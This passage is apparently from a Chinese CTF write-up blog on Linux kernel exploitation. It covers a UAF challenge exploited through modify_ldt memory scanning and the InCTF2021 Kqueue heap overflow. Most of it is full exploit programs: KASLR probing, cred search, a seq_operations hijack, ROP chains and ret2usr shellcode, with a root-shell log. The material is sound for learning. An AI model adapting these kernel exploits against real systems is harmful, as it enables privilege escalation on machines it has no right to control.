error = 0;

out_unlock:
up_write(&mm->context.ldt_usr_sem);
out:
return error;
}

可以通过这个函数重新申请一个ldt结构体绑定到进程上,我们就可以利用uaf控制这个结构题,然后就可以控制其中的entries了。

这个函数处理可以控制ldt以外还可以完成任意写,观察下面的代码

1
2
3
4
if (old_ldt)
memcpy(new_ldt->entries, old_ldt->entries, old_nr_entries * LDT_ENTRY_SIZE);

new_ldt->entries[ldt_info.entry_number] = ldt;

memcpy函数中,拷贝的大小是old_nr_entries * LDT_ENTRY_SIZE,其中old_nr_entries的上限和LDT_ENTRY_SIZE大小都有定义

1
2
3
#define LDT_ENTRIES    8192
/* The size of each LDT entry. */
#define LDT_ENTRY_SIZE 8

可见还是比较大的,然后还没有加锁,那就可以在memcpy拷贝的期间条件竞争修改entries字段,ldt也是我们传入的值,再执行new_ldt->entries[ldt_info.entry_number] = ldt;就可以完成任意地址写八字节了。

解法一 遍历内存泄露地址修改进程cred完成提权

该解法思路主要参考TCTF FINAL的一道kernelpwn题。

乐,整了一天多,就算我把qemu的核增多最后的条件竞争还是不行,而且我确定已经可以控制ldt结构体了,但就是条件竞争失败,哎,虽说没有整出来,但是还是学到了一手遍历内存搜索cred结构体的方法

当开了Hardened Usercopy的时候我们遍历整个page_offset_base还是会报错的,因为task_struct结构体就在这里,而这里是不允许向用户态拷贝的,但是tctf final这道题就提供了一个非常好的思路,就是利用fork机制和ldt结构体绕过Hardened Usercopy

首先fork会有如下调用链

1
2
3
4
5
6
7
8
sys_fork()
kernel_clone()
copy_process()
copy_mm()
dup_mm()
dup_mmap()
arch_dup_mmap()
ldt_dup_context()

最后的ldt_dup_context()就是负责ldt结构体拷贝的

1
2
3
4
5
6
7
8
9
10
11
12
13
/*
* Called on fork from arch_dup_mmap(). Just copy the current LDT state,
* the new task is not running, so nothing can be installed.
*/
int ldt_dup_context(struct mm_struct *old_mm, struct mm_struct *mm)
{
//...

memcpy(new_ldt->entries, old_mm->context.ldt->entries,
new_ldt->nr_entries * LDT_ENTRY_SIZE);

//...
}

所以只要我们控制了父进程的ldt-entries指针,就拷贝任意一段内存到子进程的ldt-entries上,而且这是内核向内核拷贝,不会触发保护,然后我们再从子进程中读取ldt-entries就可以了

最后的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
#define _GNU_SOURCE
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/prctl.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <sys/wait.h>
#include <asm/ldt.h>
#include <stdio.h>
#include <signal.h>
#include <pthread.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <ctype.h>

size_t vmlinux_nokaslr_addr=0xffffffff81000000;
size_t kernel_base=0;
size_t user_cs,user_ss,user_rflags,user_sp;
void saveStatus(void)
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[*]status has ben saved.");
}
void usr_shell(){
puts("getshelling");
if(getuid()==0){
puts("[*]----getshell ok");
system("cat /flag");
system("/bin/sh");
}else{
puts("[*] getshell fail");
}
}
int ko_fd;
void chunk_free(size_t idx){
size_t args[3];
args[0]=idx;
ioctl(ko_fd,'0',args);
}
void chunk_edit(size_t idx,char *buf){
size_t args[3];
args[0]=idx;
args[1]=8;
args[2]=buf;
ioctl(ko_fd,'P',args);
}
void chunk_add(size_t size,char *buf){
size_t args[3];
args[0]=size;
args[1]=buf;
ioctl(ko_fd,' ',args);
}
size_t cred_addr=0;
void pthread_write(int v1){
sleep(2);
char buf[0x100];
*(size_t *)buf=cred_addr+4;
chunk_edit(1,buf);
}
void debug(){
printf("[*] debug\n");
}
struct user_desc u_desc;

int main(){
char buf1[0x2000]={0};
char buf2[0x5000]={0};
ko_fd=open("/dev/kernelpwn",0);
int pipe_fd[2]={0};
size_t cred_addr=0;
int cur_pid;
size_t *comm;
pthread_t tid;
cpu_set_t cpu_set;

memset(buf1,0,0x2000);
chunk_add(0x10,buf1);
chunk_free(0);

u_desc.base_addr=0xff0000;
u_desc.entry_number=0x1000/8;
u_desc.limit=0;
u_desc.seg_32bit=0;
u_desc.contents=0;
u_desc.read_exec_only=0;
u_desc.limit_in_pages=0;
u_desc.seg_not_present=0;
u_desc.useable=0;
u_desc.lm=0;
syscall(SYS_modify_ldt,1,&u_desc,sizeof(u_desc));

size_t page_offset_base=0xffff888000000000;
*(size_t *)buf1=page_offset_base;
while(1){
chunk_edit(0,buf1);
int ret=syscall(SYS_modify_ldt,0,buf1,8);
if(ret<0){
page_offset_base+=0x40000000;
*(size_t *)buf1=page_offset_base;
continue;
}
break;
}
printf("page_offset_base_addr:%p\n",page_offset_base);

size_t addr=page_offset_base;
*(size_t *)buf1=addr;
cur_pid=getpid();
pipe(pipe_fd);
prctl(PR_SET_NAME,"jingyinghuaa");
while (1)
{
chunk_edit(0,buf1);
int pid=fork();
if(!pid){
int ret=syscall(SYS_modify_ldt,0,buf2,0x4000);
if(ret<0){
printf("modify_idf again fail\n");
exit(1);
}
comm=(size_t*)memmem(buf2,0x4000,"jingyinghuaa",12);
if (comm \
&& (comm[-2] > page_offset_base) \
&& (comm[-3] > page_offset_base) \
&& (((int) comm[-58]) == cur_pid)){
cred_addr = comm[-2];
}
write(pipe_fd[1],&cred_addr,8);
exit(0);
}
wait(NULL);
read(pipe_fd[0],&cred_addr,8);
if(cred_addr){
break;
}
addr+=0x4000;
*(size_t *)buf1=addr;
}
printf("cred_addr:%p\n",cred_addr);
int pid_1=fork();
if(!pid_1){
int pid_2=fork();
if(!pid_2){
sleep(3);
printf("buhaole\n");
CPU_ZERO(&cpu_set);
CPU_SET(1, &cpu_set);
sched_setaffinity(0, sizeof(cpu_set), &cpu_set);
*(size_t *)buf1=cred_addr+4;
while(1){
chunk_edit(1,buf1);
}
}
// sleep(5);
chunk_add(0x10,buf1);
chunk_free(1);
printf("begin to test\n");
sleep(4);
CPU_ZERO(&cpu_set);
CPU_SET(0, &cpu_set);
sched_setaffinity(0, sizeof(cpu_set), &cpu_set);
u_desc.base_addr = 0;
u_desc.entry_number = 2;
u_desc.limit = 0;
u_desc.seg_32bit = 0;
u_desc.contents = 0;
u_desc.limit_in_pages = 0;
u_desc.lm = 0;
u_desc.read_exec_only = 0;
u_desc.seg_not_present = 0;
u_desc.useable = 0;
syscall(SYS_modify_ldt, 1, &u_desc, sizeof(u_desc));
sleep(10000);
}
sleep(10);
if (geteuid()){
printf("fail\n");
system("/bin/sh");
}
printf("okk\n");
setreuid(0,0);
setregid(0,0);

}

解法二 遍历内存泄露地址劫持seq_operations+rop提权

思路

总的来说就是先利用modify_ldt爆破page_0ffset_base这块的线性地址,这段虚拟地址在ret2dir中就学习到过,是一段连续的虚拟地址,一共有64TB,映射了所有的物理内存,kmalloc的内存申请就是在这里进行的,在不开kaslr的时候,page_offset_base=0xffff888000000000,但是本题开了,所以需要爆破这个的地址,爆破就是利用read_ldt来爆破,

代码如下,就是在0xffff888000000000的基础上每次加0x40000000,至于为什么要加0x40000000,我猜测是page_offset_base也是指定的几位随机化,和代码段一样。

1
2
3
4
5
6
7
8
9
10
11
12
13
size_t page_offset_base=0xffff888000000000;
*(size_t *)buf1=page_offset_base;
while(1){
chunk_edit(0,buf1);
int ret=syscall(SYS_modify_ldt,0,buf1,8);
if(ret<0){
page_offset_base+=0x40000000;
*(size_t *)buf1=page_offset_base;
continue;
}
break;
}
printf("page_offset_base_addr:%p\n",page_offset_base);

至于为什么不直接爆破kernel的代码段,我尝试了一下,发现了内核会直接报错退出,至于原因,应该是内核开启了 Hardened Usercopy保护,开启这个保护后,在向内核拷贝数据或者从内核中拷贝数据的时候就会进行检查,检查这段内核内存是否在堆栈中,是否是object,是否非内核或者代码段,按我的理解,简而言之,有些内存可以拷贝,比如堆栈,有些就不行,比如代码段。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
*(size_t *)buf1=vmlinux_nokaslr_addr;
int i=0;
while(1){
chunk_edit(0,buf1);
printf("num:%d\n",i);
int ret=syscall(SYS_modify_ldt,0,buf1,8);
if(ret<0){
vmlinux_nokaslr_addr+=0x100000;
*(size_t *)buf1=vmlinux_nokaslr_addr;
i++;
continue;
}
break;
}
printf("page_offset_base_addr:%p\n",vmlinux_nokaslr_addr);

爆破出来page_offset_base,那就可以利用read_ldt在这段地址上读取堆信息,堆中就有kernel_base地址,然后就是seq_operations+内核pt_regs栈迁移打了。

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
#include <sys/types.h>
#include <stdio.h>
#include <pthread.h>
#include <errno.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <poll.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <sys/syscall.h>
#include <asm/ldt.h>
#include <sys/mman.h>
#include <sys/prctl.h>

#define add_rsp_0x180_pop_3_ret 0xffffffff815141ae
#define pop_rdi_ret 0xffffffff8108c420
#define swapgs_restore_regs_and_return_to_usermode 0xffffffff81c00fb0
#define commit_creds 0xffffffff810c9540
#define prepare_kernel_cred 0xffffffff810c99d0
#define pop_2_ret 0xffffffff810006a6
#define ret_gadget 0xffffffff810001fc

size_t ret_addr;
size_t pop_2_ret_addr;
size_t add_rsp_0x180_pop_3_ret_addr;
size_t pop_rdi_ret_addr;
size_t swapgs_restore_regs_and_return_to_usermode_addr;
size_t commit_creds_addr;
size_t prepare_kernel_cred_addr;
int offsets;
size_t vmlinux_nokaslr_addr=0xffffffff81000000;
size_t kernel_base=0;
size_t user_cs,user_ss,user_rflags,user_sp;

int ko_fd;
void saveStatus(void)
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[*]status has ben saved.");
}

void usr_shell(){
puts("getshelling");
if(getuid()==0){
puts("[*]----getshell ok");
system("cat /flag");
system("/bin/sh");
}else{
puts("[*] getshell fail");
}
}
void chunk_free(size_t idx){
size_t args[3];
args[0]=idx;
ioctl(ko_fd,'0',args);
}
void chunk_edit(size_t idx,char *buf){
size_t args[3];
args[0]=idx;
args[1]=8;
args[2]=buf;
ioctl(ko_fd,'P',args);
}
void chunk_add(size_t size,char *buf){
size_t args[3];
args[0]=size;
args[1]=buf;
ioctl(ko_fd,' ',args);
}
void debug(){
printf("[*] debug\n");
}
int seq_fd;
struct user_desc u_desc;
int main(int argc, char ** argv, char ** envp){
saveStatus();
char buf1[0x1000];
char buf2[0x1000];
ko_fd=open("/dev/kernelpwn",0);

memset(buf1,0,0x1000);
chunk_add(0x10,buf1);
chunk_free(0);

u_desc.base_addr=0xff0000;
u_desc.entry_number=0x1000/8;
u_desc.limit=0;
u_desc.seg_32bit=0;
u_desc.contents=0;
u_desc.read_exec_only=0;
u_desc.limit_in_pages=0;
u_desc.seg_not_present=0;
u_desc.useable=0;
u_desc.lm=0;
syscall(SYS_modify_ldt,1,&u_desc,sizeof(u_desc));

size_t page_offset_base=0xffff888000000000;
*(size_t *)buf1=page_offset_base;
while(1){
chunk_edit(0,buf1);
int ret=syscall(SYS_modify_ldt,0,buf1,8);
if(ret<0){
page_offset_base+=0x40000000;
*(size_t *)buf1=page_offset_base;
continue;
}
break;
}
printf("page_offset_base_addr:%p\n",page_offset_base);
// size_t addr=page_offset_base;
// *(size_t *)buf1=addr;

// for(int i=0;i<0x200;i++){
// chunk_edit(0,buf1);
// int ret=syscall(SYS_modify_ldt,0,buf2,0x1000);
// if(ret<0){
// printf("write again fail\n");
// continue;
// }
// for(int j=0;j<0x1000/8;j++){
// size_t content=*((size_t *)buf2+j);
// if((content&0xffffffff00000000)==0xffffffff00000000){
// if((content&0xffffffff)!=0xffffffff){
// printf("kernel_addr:%p content:%p\n",addr+8*j,*((size_t *)buf2+j));
// }

// }
// }
// addr+=0x1000;
// *(size_t *)buf1=addr;
// memset(buf2,0,0x1000);
// }
size_t addr=page_offset_base+0x9d000;
*(size_t *)buf1=addr;
chunk_edit(0,buf1);
syscall(SYS_modify_ldt,0,buf2,0x1000);
kernel_base=*(size_t *)buf2-0x40;
printf("[*] kernel_base:%p\n",kernel_base);

chunk_add(0x20,buf1);
chunk_free(1);
seq_fd=open("/proc/self/stat", O_RDONLY);
add_rsp_0x180_pop_3_ret_addr=add_rsp_0x180_pop_3_ret-vmlinux_nokaslr_addr+kernel_base;
pop_rdi_ret_addr=pop_rdi_ret-vmlinux_nokaslr_addr+kernel_base;
commit_creds_addr=commit_creds-vmlinux_nokaslr_addr+kernel_base;
prepare_kernel_cred_addr=prepare_kernel_cred-vmlinux_nokaslr_addr+kernel_base;
swapgs_restore_regs_and_return_to_usermode_addr=swapgs_restore_regs_and_return_to_usermode-vmlinux_nokaslr_addr+kernel_base+0xe;
*(size_t *)buf1=add_rsp_0x180_pop_3_ret_addr;
chunk_edit(1,buf1);
__asm__(
"mov r15, pop_rdi_ret_addr;"
"mov r14, 0;"
"mov r13, prepare_kernel_cred_addr;"
"mov r12, commit_creds_addr;"
"mov rbp, swapgs_restore_regs_and_return_to_usermode_addr;"
"mov rax, 0;"
"mov rdi, seq_fd;"
"mov rsi, rsp;"
"mov rdx, 0x200;"
"syscall;"
);
// read(seq_fd,buf1,0x200);
usr_shell();
}

官方解法

十分巧妙的解法,学到了很多。

官方前期的地址爆破和我大差不差,但在后面对seq_operationsstart指针的利用开始不一样了,由于只开了kptismep,所以在内核态还是可以访问用户态数据的,所以可以在用户态布置内核rop然后在内核态直接把sp寄存器迁移到用户态。

File:Kernel page-table isolation.svg

那么问题来了,怎么利用一个函数指针让rsp指向自己布置在内核态的rop呢,官方解法里给出了一个十分巧妙(至少我第一次见)的方法,就是利用以下gadget

1
2
xchg_eax_esp
ret

xchg就是互换两个寄存器的数据,一般函数指针都是先加载到rax寄存器中然后再call rax的,所以执行xchg eax, esp的时候rax就指向这个gadget的地址,这个gadget的地址是可控的,但是可惜是内核地址,但是注意这个gadget只是交换寄存器的后32位,交换完后的esp就落到了用户态了,随意我们只要mmap(xchg_eax_esp & 0xfffff000, 0x2000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0);就可以把rsp指向用户态了。

官解在布置rop的时候没有重新设置cr3的值,也就是没有更换页表,所以最后返回用户态之后执行指令肯定会爆段错误,官解是这样处理的,他设置了段错误的处理函数,这样在发生了段错误以后,重新陷入内核态,然后内核态自动切换到用户态然后执行处理函数spawn_shell,这样就可以不用我们布置但是完美的返回到了用户态并执行用户态指令了。

但是直接布置swapgs_restore_regs_and_return_to_usermode使用的内存其实差不多的,嘿嘿,可以用但是没必要。

1
2
3
4
void spawn_shell(void){
system("/bin/sh");
}
signal(SIGSEGV, spawn_shell);

总结

通过这道题也是学到了很多,更加熟悉用户态页表和内核态页表的隔离机制了,比如开了kpti但是不开smep在内核态时其实和开了没有差别,但是开了kpti开不开smap差别还是挺大的。

然后是对swapgs_restore_regs_and_return_to_usermode的理解,在学习ret2dir的时候我不理解为什么交换了页表之后还是可以继续执行swapgs_restore_regs_and_return_to_usermode,通过mit6.s081的学习,能这样做的唯一解法就是这个函数在用户态和内核态都进行了映射,然后映射的虚拟地址是一模一样的,也佐证了用户态页表映射了少量的内核态地址。

这道题在爆破到内核地址后就是比较简单了,原因是没有开pt_regs的偏移和smap,假如这两个都开了的话,目前我能想到的解法就是利用ret2dir进行rop了,这样会比较麻烦。

之前学习过一会kernelpwn,但感觉学习的不是很深入很扎实,导致现在好多东西也都忘了,那就再入门一次吧。

heap-overflow

就像用户态的堆溢出可以进行漏洞利用,同样的内核态的上堆溢出也可以进行漏洞利用,内核态的堆是通过slub/slab进行管理的,他把空闲队列以链表的形式组织,所以在我现在认为堆溢出一共有两种利用方式,一种是通过溢出覆盖下一个堆的next来达到任意地址申请,另一种是heap spray,我们可以利用内核本身的一些结构体,这些结构体里有函数指针,通过溢出可以覆盖到函数指针,进而进行rip的劫持。

例题:InCTF2021 - Kqueue

启动脚本

1
2
3
4
5
6
7
8
9
10
11
12
#!/bin/bash

qemu-system-x86_64 \
-cpu kvm64 \
-m 512 \
-nographic \
-kernel ./bzImage \
-append "console=ttyS0 panic=-1 pti=off kaslr quiet" \
-monitor /dev/null \
-initrd ./rootfs.cpio \
-net user \
-net nic

通过脚本可知cpu使用了kvm进行虚拟,虚拟机开了kaslr,没开kpti

文件系统启动脚本

由于题目的文件系统由buildroot构建,我不是很懂,所以换了个文件系统,不影响做题,就是加载完自写内核模块然后设置权限。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#!/bin/sh

echo "IF8gIF9fICAgICAgICAgICAgICAgXyAgICAgICAgICBfICAgICAKfCB8LyAvX19fICBfX18gXyBfXyB8IHwgICAgX18gX3wgfF9fICAKfCAnIC8vIF8gXC8gXyBcICdfIFx8IHwgICAvIF9gIHwgJ18gXCAKfCAuIFwgIF9fLyAgX18vIHwgfCB8IHxfX3wgKF98IHwgfF8pIHwKfF98XF9cX19ffFxfX198X3wgfF98X19fX19cX18sX3xfLl9fLyAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAK" | base64 -d

mount -t proc none /proc
mount -t devtmpfs none /dev
mkdir /dev/pts
mount /dev/pts

insmod /home/pwn/baby.ko
chmod 644 /dev/kqueue
echo 1 > /proc/sys/kernel/dmesg_restrict
echo 1 > /proc/sys/kernel/kptr_restrict
cd /home/pwn
setsid cttyhack setuidgid 1000 sh
umount /proc
poweroff -f

内核模块

题目直接给了源码,可以直接阅读源码,通过阅读源码可以逆出这个ko模块在内核实现了一种队列管理(私以为不是很写的不是很高效),这是ioctl()函数源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
static noinline long kqueue_ioctl(struct file *file, unsigned int cmd, unsigned long arg){

long result;

request_t request;

mutex_lock(&operations_lock);

if (copy_from_user((void *)&request, (void *)arg, sizeof(request_t))){
err("[-] copy_from_user failed");
goto ret;
}

switch(cmd){
case CREATE_KQUEUE:
result = create_kqueue(request);
break;
case DELETE_KQUEUE:
result = delete_kqueue(request);
break;
case EDIT_KQUEUE:
result = edit_kqueue(request);
break;
case SAVE:
result = save_kqueue_entries(request);
break;
default:
result = INVALID;
break;
}
ret:
mutex_unlock(&operations_lock);
return result;
}

传入不同的cmd执行不同的函数,这些函数看到函数名就能知道是干啥的,非常奇怪的是他会对传入的request结构体进行检查,如果不符合要求就会执行err函数,但是这个函数不会exit(),所以检查相当于没检查.

1
2
3
4
static long err(char* msg){
printk(KERN_ALERT "%s\n",msg);
return -1;
}

其中比较重要的就是create_kqueue()函数和save_kqueue_entries()函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
static noinline long create_kqueue(request_t request){
long result = INVALID;

if(queueCount > MAX_QUEUES)
err("[-] Max queue count reached");

/* You can't ask for 0 queues , how meaningless */
if(request.max_entries<1)
err("[-] kqueue entries should be greater than 0");

/* Asking for too much is also not good */
if(request.data_size>MAX_DATA_SIZE)
err("[-] kqueue data size exceed");

/* Initialize kqueue_entry structure */
queue_entry *kqueue_entry;

/* Check if multiplication of 2 64 bit integers results in overflow */
ull space = 0;
if(__builtin_umulll_overflow(sizeof(queue_entry),(request.max_entries+1),&space) == true)
err("[-] Integer overflow");

/* Size is the size of queue structure + size of entry * request entries */
ull queue_size = 0;
if(__builtin_saddll_overflow(sizeof(queue),space,&queue_size) == true)
err("[-] Integer overflow");

/* Total size should not exceed a certain limit */
if(queue_size>sizeof(queue) + 0x10000)
err("[-] Max kqueue alloc limit reached");

/* All checks done , now call kzalloc */
queue *queue = validate((char *)kmalloc(queue_size,GFP_KERNEL));

/* Main queue can also store data */
queue->data = validate((char *)kmalloc(request.data_size,GFP_KERNEL));

/* Fill the remaining queue structure */
queue->data_size = request.data_size;
queue->max_entries = request.max_entries;
queue->queue_size = queue_size;

/* Get to the place from where memory has to be handled */
kqueue_entry = (queue_entry *)((uint64_t)(queue + (sizeof(queue)+1)/8));

/* Allocate all kqueue entries */
queue_entry* current_entry = kqueue_entry;
queue_entry* prev_entry = current_entry;

uint32_t i=1;
for(i=1;i<request.max_entries+1;i++){
if(i!=request.max_entries)
prev_entry->next = NULL;
current_entry->idx = i;
current_entry->data = (char *)(validate((char *)kmalloc(request.data_size,GFP_KERNEL)));

/* Increment current_entry by size of queue_entry */
current_entry += sizeof(queue_entry)/16;

/* Populate next pointer of the previous entry */
prev_entry->next = current_entry;
prev_entry = prev_entry->next;
}

/* Find an appropriate slot in kqueues */
uint32_t j = 0;
for(j=0;j<MAX_QUEUES;j++){
if(kqueues[j] == NULL)
break;
}

if(j>MAX_QUEUES)
err("[-] No kqueue slot left");

/* Assign the newly created kqueue to the kqueues */
kqueues[j] = queue;
queueCount++;
result = 0;
return result;
}

static noinline long delete_kqueue(request_t request){
/* Check for out of bounds requests */
if(request.queue_idx>MAX_QUEUES)
err("[-] Invalid idx");

/* Check for existence of the request kqueue */
queue *queue = kqueues[request.queue_idx];
if(!queue)
err("[-] Requested kqueue does not exist");

kfree(queue);
memset(queue,0,queue->queue_size);
kqueues[request.queue_idx] = NULL;
return 0;
}


/* Now you have the option to safely preserve your precious kqueues */
static noinline long save_kqueue_entries(request_t request){

/* Check for out of bounds queue_idx requests */
if(request.queue_idx > MAX_QUEUES)
err("[-] Invalid kqueue idx");

/* Check if queue is already saved or not */
if(isSaved[request.queue_idx]==true)
err("[-] Queue already saved");

queue *queue = validate(kqueues[request.queue_idx]);

/* Check if number of requested entries exceed the existing entries */
if(request.max_entries < 1 || request.max_entries > queue->max_entries)
err("[-] Invalid entry count");

/* Allocate memory for the kqueue to be saved */
char *new_queue = validate((char *)kzalloc(queue->queue_size,GFP_KERNEL));

/* Each saved entry can have its own size */
if(request.data_size > queue->queue_size)
err("[-] Entry size limit exceed");

/* Copy main's queue's data */
if(queue->data && request.data_size)
validate(memcpy(new_queue,queue->data,request.data_size));
else
err("[-] Internal error");
new_queue += queue->data_size;

/* Get to the entries of the kqueue */
queue_entry *kqueue_entry = (queue_entry *)(queue + (sizeof(queue)+1)/8);

/* copy all possible kqueue entries */
uint32_t i=0;
for(i=1;i<request.max_entries+1;i++){
if(!kqueue_entry || !kqueue_entry->data)
break;
if(kqueue_entry->data && request.data_size)
validate(memcpy(new_queue,kqueue_entry->data,request.data_size));
else
err("[-] Internal error");
kqueue_entry = kqueue_entry->next;
new_queue += queue->data_size;
}

/* Mark the queue as saved */
isSaved[request.queue_idx] = true;
return 0;
}

creat_kqueue中存在一个一个整数溢出__builtin_umulll_overflow(sizeof(queue_entry),(request.max_entries+1),&space),request.max_entries是一个uint32_t变量,所以如果传入的是0xffffffff,拿相加就会变成0,然后在save_kqueue中存在validate(memcpy(new_queue,queue->data,request.data_size));,如果在create_kqueue中整数溢出了,那这里的new_queue就是一个queue大小是0x20,但是memcpy的大小是我们可以控制的,所以到了这步就可以溢出0x20的堆了,溢出0x20的堆改怎么利用呢。这里就用到了第二种思路。

当打开一个stat文件比如(“/proc/self/stat”)的时候就会在内核分配一个seq_operations结构体,这个结构体的大小是0x20,记录着四个函数指针,当我们向stat使用read函数读的时候就会执行seq_operations结构体的start函数指针,所以我们可以利用堆喷让这个结构体置于new_queue堆块的下面,然后溢出覆盖第一个函数指针,最后read(seq_fd,data,0x20)就可以劫持rip了。

1
2
3
4
5
6
struct seq_operations {
void * (*start) (struct seq_file *m, loff_t *pos);
void (*stop) (struct seq_file *m, void *v);
void * (*next) (struct seq_file *m, void *v, loff_t *pos);
int (*show) (struct seq_file *m, void *v);
};

由于没有开smep所以可以直接把rip劫持到用户态,但注意此时的栈依旧在内核上,里面有内核代码地址信息,可以通过写shellcode从栈上得到commit_credsprepare_kernel_cred地址,然后提权后返回用户态getshell

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
#include <stdio.h>
#include <pthread.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <string.h>
#include <stdint.h>

void usr_shell(){
puts("getshelling");
if(getuid()==0){
puts("[*]----getshell pk");
system("/bin/sh");
}else{
puts("[*] getshell fail");
}
}
size_t user_cs,user_ss,user_rflags,user_sp;
void saveStatus(void)
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
printf("\033[34m\033[1m[*] Status has been saved.\033[0m\n");
}
typedef struct{
uint32_t max_entries;
uint16_t data_size;
uint16_t entry_idx;
uint16_t queue_idx;
char* data;
}request_t;
void create(int fd,uint32_t max_entries,uint16_t data_size){
request_t request={
.max_entries=max_entries,
.data_size=data_size
};
ioctl(fd,0xDEADC0DE,&request);
}
void edit(int fd,uint16_t queue_idx,uint16_t entry_idx,char* data){
request_t request={
.data=data,
.entry_idx=entry_idx,
.queue_idx=queue_idx
};
ioctl(fd,0xDAADEEEE,&request);
}
void save(int fd,uint16_t queue_idx,uint32_t max_entries,uint16_t data_size){
request_t request={
.max_entries=max_entries,
.data_size=data_size,
.queue_idx=queue_idx
};
ioctl(fd,0xB105BABE,&request);
}
size_t getshell=(size_t)usr_shell;
void shellcode(){
__asm__(
"mov r12, qword ptr [rsp+0x8];"
"sub r12, 0x201179;"
"mov r13, r12;"
"add r12, 0x8c140;"
"add r13, 0x8c580;"
"mov rdi, 0;"
"call r13;"
"mov rdi ,rax;"
"call r12;"
"swapgs;"
"mov r12, user_ss;"
"push r12;"
"mov r12, user_sp;"
"push r12;"
"mov r12, user_rflags;"
"push r12;"
"mov r12, user_cs;"
"push r12;"
"mov r12, getshell;"
"push r12;"
"iretq;"
);
}
int seq_fd[0x200]={0};
void heap_spray(){
for(int i=0;i<0x200;i++){
seq_fd[i]=open("/proc/self/stat", O_RDONLY);
if(!seq_fd[i]){
puts("/proc/self/stat open fail");
exit(0);
}
}
}
int main(){
saveStatus();
printf("%p\n",(size_t)shellcode);
int fd=open("/dev/kqueue",O_RDONLY);
create(fd,0xffffffff,0x28);
size_t data[5]={0,0,0,0,(size_t)shellcode};
edit(fd,0,0,(char*)data);
heap_spray();
save(fd,0,0,0x28);
for(int i=0;i<0x200;i++){
read(seq_fd[i],data,0x20);
}
}
1
2
3
4
5
6
7
8
9
10
11
12
/ $ id
uid=1000(pwn) gid=1000 groups=1000
/ $ ./exp
[*] Status has been saved.
0x400b9a
[ 8.958689] [-] kqueue data size exceed
[ 8.973254] [-] Invalid entry count
[ 8.973640] [-] Entry size limit exceed
getshelling
[*]----getshell pk
/ # id
uid=0(root) gid=0

heap spray

内核堆喷,依我之见主要针对的是UAF和堆溢出,利用大量的堆喷来得到UAF所指的堆或者申请到可以堆溢出的堆的下一个堆,Kqueue就是这个思路,下面的例题notebook是上一个思路。

启动脚本

从启动脚本中可以看见开起了kaslr,smep,smap,然后设置了两个cpu,每个cpu两个核,所以最多可以跑四个线程。然后从/sys/devices/system/cpu/vulnerabilities/*文件中可以看出开启了KPTI.

1
2
3
#!/bin/sh
stty intr ^]
exec timeout 300 qemu-system-x86_64 -m 64M -kernel bzImage -initrd rootfs.cpio -append "loglevel=3 console=ttyS0 oops=panic panic=1 kaslr" -nographic -net user -net nic -device e1000 -smp cores=2,threads=2 -cpu kvm64,+smep,+smap -monitor /dev/null 2>/dev/null -s
1
2
3
4
